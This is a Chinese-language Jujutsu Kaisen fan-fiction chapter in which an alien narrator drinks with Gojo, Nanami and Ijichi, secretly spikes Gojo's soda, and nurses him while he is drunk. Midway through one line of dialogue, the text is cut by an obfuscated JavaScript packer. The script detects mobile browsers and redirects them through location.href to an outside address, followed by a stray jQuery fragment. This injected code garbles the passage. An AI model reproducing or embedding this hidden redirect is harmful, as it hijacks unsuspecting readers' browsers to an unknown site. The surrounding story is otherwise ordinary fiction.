他装聋作哑的水平跟我装瞎的本事不相上下,至少在自说自话这件事上,我们是旗鼓相当的对手。 “顺带一提,我们认识还不到半个月哦,这样算下来,这三天已经是五分之一了呢,按照人类的寿命来算,相当于是二十五年哦。” 我对五条悟把三天扭曲成五年的换算过程没有兴趣,但如果按他的算法,我也可以做出类比。 “抱歉啊,就算是二百五十年,在我的寿命里也不过是打个喷嚏的时间。” “艾利恩会打喷嚏吗?” “所以我们认识的时间,在我这里也只能算喷嚏中的喷嚏...中的喷嚏。” 严谨起见,我把五条悟的换算过程也加了进去,且没有受他故意打岔的干扰。 我不经意轻哼一声,又抿了口足以放倒五条悟的啤酒。 这是什么笨蛋发言。七海建人在心里吐槽着。 “七海,你是在喝酒吗?不会吧?工作时间?” 五条悟也不恋战,迅速将枪口对准试图隐匿自身的存在感但没能成功的七海建人。 “咒灵已经被艾利恩小姐祓除了,按照约定,明明是属于我的任务但没有留下属于我的术式痕迹的事情就交给你来处理——这件事希望你还记得。” “当然,所以我把伊地知也带过来了哦——嗯?他去哪了?刚刚还在的。” 他从一开始就没进来过。我默默纠正,并不打算直接提醒他。 “伊地知先生从一开始就没有进来。”七海建人却说了出来。 原来他还没醉啊——我和五条悟同时露出惊讶的表情。 短暂的惊讶过后,我选择放下已经见底的啤酒杯,五条悟则转身朝着门外招呼—— “喂——伊地知,别害羞了,难得大家都在,一起过来喝一杯吧。” 门外的伊地知握着电话的手抖了一下,差点没把手机摔到地上。 他欲哭无泪。 再然后,我就看到伊地知先生一本正经的走了过来,如果不是透过墙体 看到他刚才的动作,恐怕真要被这副‘成年人的伪装’骗过去了。 “抱歉,我好像又吓到你了。” “不,没关系艾利...” “但这次我是故意的。” 原谅的话堵在伊地知的嘴边。 五条悟强忍着笑意,转而不经意的问起要不要把‘硝子’也叫过来。 看我盯着空空如也的酒杯底不知道又在琢磨些什么的样子,五条悟刚想起我应当是还不认识硝子的,“那家伙也是咒术师,她还挺喜欢喝酒的哦。” 他只字不提自己,且他忽略了,如果只说身份的话,我也是‘认识’硝子的。 “家入小姐是悟的同期吧,用你们的说法。” 五条悟顿了一秒,紧接着我听见他很轻很轻的笑了一声,和他平时那种张扬到要让所有人都知道他在哈哈大笑的形式不一样,虽然轻,但真心的成分反而更重,也许真心就是这样轻飘飘的东西,沉重的是杂质。 “差点忘了,艾利恩记忆力很好呢。” 在五条悟的催促下,伊地知先生一边念叨着这么晚给家入小姐打电话很失礼的话,一边在五条悟硝子肯定没睡的安慰以及不打的话就把你开小差的事情说出去的威胁中最终还是拨通了电话。 ‘硝子’果然还没睡,但和这边的几个大闲人不同,明明已是深夜,她 还在处理工作。 这下我总算理解为什么七海建人会对所有工作一视同仁了。 最后参加五条悟口中的啤酒聚会的人还是只有在场的三人和我。 伊地知看上去很关心七海建人的伤情,尽管他根本没有受伤,但我不知道五条悟是怎样跟他描述我的能力的,他总担心七海建人是不是伤到了什么看不见的地方,又碍于我在场,不敢直接问出来。 好在七海建人察觉到他的意思,再次保证自己绝对没有受伤,因为我根本没有对他出手,反而是我被他伤到了一节触须。 “触、触须?” 好吧,看来五条悟没有跟他说这个。 我刚打算开口解释,就感觉有人悄悄拍了拍我右侧的肩膀—— 原来是不知道什么时候坐到我右边的五条悟。 受地段影响,这家开在废弃商场附近的居酒屋人气实在一般,甚至算得上冷清。 明明应该是客流高峰期的深夜,客人却只有我们几个。 刚来的时候,七海建人提议就坐在吧台,免得店家还要重新打扫一张卡座。 后来加入的伊地知和五条悟自然也是坐在我们旁边的,不同的是伊地知先生坐在了最靠里的位置,也就是七海建人左侧。 五条悟却没有跟他的同伴坐在一起,反而坐到我边上,大咧咧的挤占以我为中轴线,往右三分之二的地盘,本该属于我的地盘。 几天的相处下来,他留给我的尊重已经所剩无几了。 我面无表情的转头看过去,盯着他的绷带眼罩看了半天,也没能从那张笑意盈盈的脸上看出多少挑衅和轻蔑的恶意。 这让我刚刚生出的意见没有理由发作了。 算了,本来也不是什么大不了的事情。 我正准备转过头继续研究啤酒杯的杯底,刚刚还默不作声的人又趴到我耳边,虽然没有直接触碰,但说话间带出的气息还是打在我的耳廓边缘。 “艾利恩酱,艾利恩酱。” “我听得见。”趁没人注意,我将刚刚解析完毕的啤酒残余重新注满酒杯,刚好是一口的量。 说完,就借着喝酒的动作回避他的干扰,与此同时也分出一条触须监测他的动作,原来五条悟正用手拢在我的耳边,电视剧里人类说悄悄话的动作,难怪他呼吸流向有些不自然。 “伊地知被你吓到了哦。” “我已经道过歉了,两次都道过了。” 尽管道歉本身也没有多大的意义,但至少能人们追究起来的时候作为一个敷衍的借口。 “七海呢?” “七海先生没有被吓到,从刚才的表现来看,他有猜到我会生气的可能性,最后也没有受伤,我想我不需要向他道歉。” “那艾利恩有受伤吗?” “嗯...”我思考了两秒,“被削掉了一节触须,但没有受伤。” “你是壁虎吗。” “不是那种概念,就当是被听不懂顾客要求的理发师多剪掉了五厘米的头发吧。” “那不是很过分吗?!内心肯定受伤了吧?” “嗯,内心很受伤。” 我故意说着可怜的话,希望能通过施加道德压力的方式报复这个拿我当笨蛋的五条悟。 “欸...那该怎么办?要怎么做艾利恩才能原谅七海呢?” 他突然凑得更近了,明明是比我高大许多的体型,此刻却几乎趴在桌子上,只为从下往上的和我对视。 我放下酒杯,心知这下躲不过了,除非在几人面前变成非人的形态。 我朝他的脸伸出手,在将要碰到皮肤的时候勾住绷带的边缘,白色的发丝扫在指背上,产生些许痒意。 轻轻一拉,翘首以待的蓝色就出现暴露在空气中,没有丝毫惊讶。 因为束缚而向上窜起的刘海也顺势垂下,末梢正好落在眉睫之间。 “你真的有28岁?” 对比我见过的28岁成年亚洲男性的样本,哪怕不放下眼罩也不妨碍我看清他的长相,但或许是居酒屋的灯光产生的眩晕,原本肯定的结论也变得不可信了。 “真的。”五条悟难得老老实实回答一次,嘴型做的很明显,脑袋还随着说话的动作上下动了动。 不同于强行让自己不去在意这一幕的伊地知和七海,见多识广的店长见怪不怪的把盐苏打推到那个趴在桌子上跟女友调情的男人面前。 打从进门开始,他就不看好这小子,眼下被对方质疑年龄也是活该。 又不是高中生了,还摆出撒娇卖乖的样子,说话用词也没有一点男子汉的气概,眼前这位酒量不俗的小姐肯定是不吃这套... 我没忍住伸手揉了揉触手可及的白色。 “盐苏打。”店长的语气堪称冰冷。 “谢谢~”五条悟头都没抬。 直到一切完成,我才将手和刚刚注射完啤酒的触须一并收回。 确信没有人注意到我的动作,在五条悟用吸管吸取苏打汽水的时候,我就这么明目张胆的盯着他。 他一口气喝掉了一半,我彻底放心了。 “什么?你想试试看吗?” 我摇了摇头。 “那试试这个。”说着,他突然掏出一个包装精美的纸盒,熟练的用修长的手指拆开后,一块覆盖着深蓝色透明晶冻,底部又是深棕的长条糕点。 “这是什么?”我好奇的凑过去。 结果等了半天,也没等到旁边的人答话。 一回头,原本只是趴在桌上说话的人,这下已经侧脸贴着桌面,彻底闭上了双眼。 欸? 我眨了眨眼,虚假的心脏真实的狂跳起来,人类处于极度紧张的情况下的正常反应。 “这家伙喝醉了。” 直到七海建人的声音从背后响起,我才反应过来去试探他的鼻息。 我用的是手指,正是拽掉他绷带的那只手,湿热的呼吸带着肉眼无法察觉的水气分布在被发丝挠过的指背,咒力也正常流动着,只是覆盖表面的特殊力场不见了。 “...吓死我了。” 伊地知瞪大了双眼,不敢相信自己听到了什么。 我像一个真正的人类一样,担心另一个人的死亡。 差点以为这次又搞砸了。 聚会进行到这里也差不多结束了,七海先生主动买了单,将钱包收进西装内侧的口袋后,又主动拉起五条悟的一条肩膀,用自己的半边肩膀支撑起失去意识的家伙。 伊地知先生跟他一起把五条悟塞进了车里,我和七海建人坐在后座,把东倒西歪的五条悟夹在中间。 伊地知先生的车开的很稳,两人提议先送我们回去,据说五条悟提前交代过,自己今天要回家休息。 车厢里一直很安静,因为没有人说话。 睡着的五条悟也很安静,左右晃动一圈,他最终倒在我身上了,七海建人中间看过来一眼,我平静的回以视线,我以为他会说些什么,可他什么也没说。 直到到达目的地,他才帮忙把五条悟扶下车,似乎打算就这么一路将他送回家。 我还提着五条悟带回来的羊羹。 “等等。” 刚准备向前走去的七海建人停下脚步,回头等我继续。 我将塑料袋的提手往上带了带,正好卡在手腕的位置,然后向七海先生伸出双手; “不介意的话,交给我就好了。” “我们约好了,在他同意之前,我是不会擅自吃掉他的。” 话还没说完,温暖的身体就倒在我身上,准确来说,是被人放在我怀里了。 我像抱着大型玩偶一样,双手拖住他的腰背,触须在人看不见的地方维持整体的平衡。 “今天的事情,以后不会再发生了。”七海建人承诺道。 我转头看了看那张倒在我肩头昏睡的脸。 “喝醉的事情吗?” 发丝蹭着我的脖颈,有点痒,但可以忍受。 “不,是试探你的事情。”他说的很直白。 “五条先生,已经信任你了。” 他意有所指的看了看昏睡不醒的人。 “就这样?”我不确定的问道。 “虽然不知道五条先生在想什么,但从表现来看,嗯,就这样。” 说完,他向我略一鞠躬,幅度很浅,只在打招呼的范畴。 “接下来的事情,就要拜托您了,艾利恩小姐。” 我以为他说的是送五条悟回家的事情,想也没想就答应了。 “哦。” 互相道别以后,七海建人就离开了。 真奇怪,我还以为他至少会看着我把完整的五条悟送上楼。 如果我是个言而无信的家伙,他的同伴就要被我吃掉了哦,意味着明天、以后,再也无法见面了哦。 ... 可他转身就走了。 只是不到一个喷嚏的功夫,我就获得了两个人、或许是三个人的信任。 我一直觉得人类还是很小心眼的,现在连这个结论都不准确了。 我在原地思考了一会,直到被路过的人询问是否需要帮忙,才摇摇头,顺便调整一下姿势,向着回家的方向走去。 包裹着跳动心脏的胸膛靠在后背,毛茸茸的脑袋还是抵在耳边,他真的一点声音都没有,连醉话也没说,明明清醒的时候话那么多。 装的? “再不醒来的话,我就在这里吃掉你。” ... “连七海先生和伊地知先生一起吃掉。” ... “‘硝子’也吃掉。” ... “夏油杰也吃掉。” ... “啊,咒术师的味道真不错,一直只吃咒灵真是太可惜了。” ... 好吧,他是真的睡着了,甚至是昏睡。 光靠双手托住五条悟还是有些勉强,于是我又用触须将自己与他的躯干紧紧绑在一起。 我的人类身体开始渗出汗液,不是因为温度,而是因为我正在忍耐,忍耐近在咫尺的诱惑。 想象一下,一块诱发着浓郁香气的蛋糕就贴在你的唇边,不论是气味还是口感你都能通过唇瓣上的触觉小体感知到,你甚至尝过这块蛋糕的味道,以至于念念不忘,愿意为它忍受时间与耐心的折磨。 我突然觉得自己应该离五条悟远一点了,为了最终的计划。 可同样也是为了最终的计划,我又不能离他太远,如果他真的在我看不见的地方一个人死掉了怎么办?那我之前的努力不都成了白费? 人类这种生物可是很脆弱的,稍微一个不注意就会失去生命迹象。 一个失去生命迹象的五条悟,味道一定不怎么样,可能还不如咒灵。 “在我吃掉你之前,不准死掉。” “欸?死、死...五条先生受伤了吗?” 感知受到浓郁气息的干扰,我甚至没有发现小野先生是什么时候出现在旁边的。 电梯门开启,我走了进去,他小心翼翼的站到按钮边上,按下我们共同的楼层。 “不,只是喝醉了....”看他担心的样子,我又补上一句:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159523|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我开玩笑的。” 说着,又把背上的五条悟往他那边靠了靠,像展示自家健康的宠物猫一样,对他说: “他很健康,没有受伤,没有生病。” “哦、哦...抱歉,是我误会了。” 我不在意的摇摇头,因为这个动作差点把靠在肩上的脑袋蹭掉,因为小野先生在场又不能用触须帮忙,只能艰难的抬起他半边身体,自己也朝一侧倾斜——好歹没让他的脑袋滑下去。 “需要帮忙吗?话说艾利恩小姐不会是一路背着五条先生回来的吧?” 我警觉的意识到其中的异常,哪怕小野先生本人没有这个意思。 香气作用下思维变得迟钝的我,半天才回上一句: “我...力气还挺大的。” 小野先生尴尬的笑了,“看、看的出来。” 走到家门口,我还是拜托小野先生帮忙开了门。 回到家,我犹豫了一会,还是选择把五条悟放进卧室的床上,至于卫生问题就不在我的责任范围之内了,而且抛去食物属性,他闻上去也挺干净的,不臭。 但我还是勉强帮他脱掉了鞋子,再用枕头把头部垫高,最后盖上被子,不知道他是习惯侧睡还是平躺,安全考虑,我还是选择以平躺的姿势安放他。 做完这一切,我已经准备回到客厅的第二母星上了。 但我又想到那条关于醉酒的人被自己的呕吐物呛死的新闻。 黑暗中,我又回到卧室,一边用平板电脑看电影,一边观察着五条悟的生命体征,如果有呕吐的迹象就用触须抬起他的上半身。 唉。 我在心里叹了口气。 人类真的太脆弱了,哪怕是强大的个体,也很容易死掉。 奇怪的是,明明做了这么多麻烦的事情,我却不觉得烦躁,反而产生一点...或许应该称其为成就感的情绪。 我已经是一个成熟的‘外星人’了,就在刚刚,我科学的照顾好了我的储备粮——我选择这样解释成就感的来源。 以及,不知道从什么时候开始,我已经不生五条悟的气了。 绝对不是因为七海先生口中的羊羹,超难吃,我讨厌这种虚有其表的食物。 等五条悟醒来,得告诉他以后不要买了。 我以为醉成这样的人至少要等到第二天白天才醒来,但月亮还没被太阳换下场,五条悟的呼吸频率就变了。 起初我还以为是有什么意外情况,连忙放下平板凑到他头顶,仔细的盯着他的嘴。 结果还没等那张嘴张开,我就对上一双懵懵的蓝色眼睛。 这副表情让五条悟看上去连十八岁都没有,简直像个人类幼崽。 “晚上好,你喝醉了。” 白色的睫毛盖住双眼,很快又大方的敞开。 “就知道那个大叔没安好心”他揉了揉脑袋,“但是往客人的无酒精饮料里加入酒精——太过分了吧,好过分啊,艾利恩也觉得很...” ‘过分’两个字还没说完,我就心虚的打断他的抱怨。 “是我。” “嗯?”五条悟还没反应过来。 “往盐苏打里放啤酒的人..是我。” “但你不是喝完了吗?” 五条悟印象很深,从他进门开始,这个人就在研究那个空酒... 等等,她后来是不是做过喝酒的动作。 啊...他说怎么总觉得哪里不对,明明都空了,为什么还会... 等等等等等等——还是不对。 “我解析了啤酒的成分和组成结构,在空酒杯和你的盐苏打里加入了透明的啤酒。” 五条悟停止了思考。 ... 五条悟恢复了思考。 “你...好过分啊。” 我没有说话,已经没有狡辩的余地了。 “醉酒可是很难受的哦。” 我眨了眨眼。 “装可爱也没用,不如说这样更可恶了!道歉呢,道歉,我记得你可是很会道歉的。” “但是道歉也没有意义吧,再说你已经醒酒了,我检查过了,血管里的酒精成分已经被代谢的差不多了。” 说是这么说,但看到这家伙罕见皱着眉,又一副小孩子的表现,身为成熟外星人的我居然感到一丝羞耻。 真罕见啊,这样的我。 “作为道歉,我原谅你了。” “我没有跟你道歉哦。”五条悟试图提醒。 “嗯,不需要道歉我也原谅悟了。” “不是这个意思啦,话说你在干什么,不是不习惯跟人靠很近吗。” 他好奇的看了看我们之间的距离。 我的手还撑在他两侧,垂下的发丝像铁笼一样将他困住。 “我在防止你死掉。” “为什么一醒来就要听这么吓人的话题。”五条悟吐槽到。 打破局面的是一通电话。 我顺手用触须将它从五条悟口袋里拿出来,放在他面前。 “谢谢你,不过你没偷过东西吧。” 他本意是想开玩笑,这个我知道。 但我出于一些不方便透露的个人原因,默默退到一边,拿起了被我放在床边地板上的平板电脑。 “不会吧,居然还当过小偷,你这个装的一脸乖巧的外星人到底还背着我干过多少坏事啊。” “只是三块炸鸡块...”我不赞同的解释,“而且我的工资还被扣掉了,明明那些钱够买好几份炸鸡了。” 五条悟的指责卡在嘴边,短暂的停顿后,变成不加掩饰的大声嘲笑。 我就知道。 还好我是个脸皮很厚的外星人,如果换作伊地知先生,肯定羞愧到无地自容了,不过伊地知先生不会偷吃炸鸡就是了...好吧也不一定,我对他还不怎么了解。 “早上好,这里是五条——” “悟,现在就来高专一趟。” 五条悟神色一僵,脸上的笑容缓慢消失。 “这么快?” “嗯,这次...可以带上你说的那个人了,七海和伊地知汇报了情况,我的意见和你一样。” “好,我知道了。” 挂断电话后,笑容再次浮现,甚至比之前来的更夸张了。 不好。 “艾利恩酱,要出门咯~” “嗯,慢走不送。” “哈哈哈,是我们一起啦。” “...” “就当是...第二个条件怎么样?” ... “唉。” “欸?你刚才是在叹气吗?” 我一边走出卧室,将换衣的隐私空间留给他,一边头也不回的说: “已经叹过很多次了。” 五条悟的动作很快,没过一会就走出了卧室。 我甚至觉得他应该只是缠了个绷带。 “要快一点,这次就使用‘五条悟专人驾驶模式’吧。” 我对这个一听就是刚刚问世的新名词毫无期待。 “我们要去哪。” “给艾利恩介绍一位新朋友~” “不需要。” “那新食物?” “说来听听。” 五条悟轻笑两声,不紧不慢道: “特级过咒怨灵祈本里香。”